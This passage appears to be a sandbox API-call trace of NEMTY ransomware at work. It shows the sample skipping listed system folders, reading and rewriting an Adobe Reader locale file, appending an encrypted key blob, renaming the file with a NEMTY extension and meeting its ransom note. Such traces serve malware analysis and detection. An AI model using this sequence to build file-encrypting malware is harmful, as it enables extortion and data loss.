hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.SLV", cAlternateFileName="")) returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2=".") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="..") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="...") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="windows") returned -1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="$RECYCLE.BIN") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="rsa") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="NTDETECT.COM") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="ntldr") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="MSDOS.SYS") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="IO.SYS") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="boot.ini") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="boot.ini") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="ntuser.dat") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="desktop.ini") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="CONFIG.SYS") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="RECYCLER") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="BOOTSECT.BAK") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="bootmgr") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="programdata") returned 1 [0184.324] lstrcmpiW (lpString1="Weblink.SLV", lpString2="appdata") returned 1 [0184.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SLV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.SLV", lpUsedDefaultChar=0x0) returned 11 [0184.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SLV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.SLV", lpUsedDefaultChar=0x0) returned 11 [0184.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SLV", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.SLV", lpUsedDefaultChar=0x0) returned 11 [0184.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SLV", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.SLV", lpUsedDefaultChar=0x0) returned 11 [0184.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.325] Sleep (dwMilliseconds=0x5) [0184.327] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2183bbb0, dwHighDateTime=0x1d561e8)) [0184.327] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2183bbb0, dwHighDateTime=0x1d561e8)) [0184.327] GetLastError () returned 0x0 [0184.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.327] GetLastError () returned 0x0 [0184.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.328] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.328] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.328] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.328] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="SL8GapGkylik23kEBPusOgJ7gPMZrEb5qhKgMSRjdcMIo85wDWqdBYUhqzmmagzM\r\nb1EUbyXTMU+Wicgmvicr+j5gfQEb0d6rjjKq/uYS2b+UJiZ3lXuyWPteEqxnNvKB\r\nGivV0I/fklqslAYki1F7GYnV+Ia6snE3hCT5HlhB7BM37J6p9hN0vIkvwt13urmU\r\nWbuf1PHqf5MGT7tJvJaeu0pk5A0+nnIkhsR2V41d03IkGnPAX0sV74qPwti8JBz0\r\nG20PXOhiueESYLk4Tb4j1vhUOsaeOXkvcF7ifHiNAuwa5YVUvK51NEn7RfO2syHS\r\nuFxjf8S7wsT95alcFoygYg==\r\n", pcchString=0x653e5dc) returned 1 [0184.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.328] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Weblink.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\weblink.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.328] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28160) returned 1 [0184.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e00) returned 0x6352c48 [0184.328] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.329] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e00, lpOverlapped=0x0) returned 1 [0184.332] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.332] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e00, lpOverlapped=0x0) returned 1 [0184.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.332] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00 [0184.332] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.332] CloseHandle (hObject=0x2e8) returned 1 [0184.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.333] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Weblink.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\weblink.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Weblink.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\weblink.slv._nemty_kgobjgd_")) returned 1 [0184.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.333] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21294770, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x21294770, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21294770, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0184.333] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0184.334] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0184.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0184.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0184.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0184.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.335] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21294770, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x21294770, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21294770, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0184.335] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0184.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0184.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0184.335] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1 [0184.335] lstrcmpiW (lpString1="sv_SE", lpString2=".") returned 1 [0184.335] lstrcmpiW (lpString1="sv_SE", lpString2="..") returned 1 [0184.335] lstrcmpiW (lpString1="sv_SE", lpString2="...") returned 1 [0184.335] lstrcmpiW (lpString1="sv_SE", lpString2="windows") returned -1 [0184.335] lstrcmpiW (lpString1="sv_SE", lpString2="$RECYCLE.BIN") returned 1 [0184.335] lstrcmpiW (lpString1="sv_SE", lpString2="rsa") returned 1 [0184.335] lstrcmpiW (lpString1="sv_SE", lpString2="NTDETECT.COM") returned 1 [0184.335] lstrcmpiW (lpString1="sv_SE", lpString2="ntldr") returned 1 [0184.335] lstrcmpiW (lpString1="sv_SE", lpString2="MSDOS.SYS") returned 1 [0184.335] lstrcmpiW (lpString1="sv_SE", lpString2="IO.SYS") returned 1 [0184.335] lstrcmpiW (lpString1="sv_SE", lpString2="boot.ini") returned 1 [0184.335] lstrcmpiW (lpString1="sv_SE", lpString2="boot.ini") returned 1 [0184.336] lstrcmpiW (lpString1="sv_SE", lpString2="AUTOEXEC.BAT") returned 1 [0184.336] lstrcmpiW (lpString1="sv_SE", lpString2="ntuser.dat") returned 1 [0184.336] lstrcmpiW (lpString1="sv_SE", lpString2="desktop.ini") returned 1 [0184.336] lstrcmpiW (lpString1="sv_SE", lpString2="CONFIG.SYS") returned 1 [0184.336] lstrcmpiW (lpString1="sv_SE", lpString2="RECYCLER") returned 1 [0184.336] lstrcmpiW (lpString1="sv_SE", lpString2="BOOTSECT.BAK") returned 1 [0184.336] lstrcmpiW (lpString1="sv_SE", lpString2="bootmgr") returned 1 [0184.336] lstrcmpiW (lpString1="sv_SE", lpString2="programdata") returned 1 [0184.336] lstrcmpiW (lpString1="sv_SE", lpString2="appdata") returned 1 [0184.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sv_SE", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sv_SE", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sv_SE", lpUsedDefaultChar=0x0) returned 5 [0184.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sv_SE", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sv_SE", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sv_SE", lpUsedDefaultChar=0x0) returned 5 [0184.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0184.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0184.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0184.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0184.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: 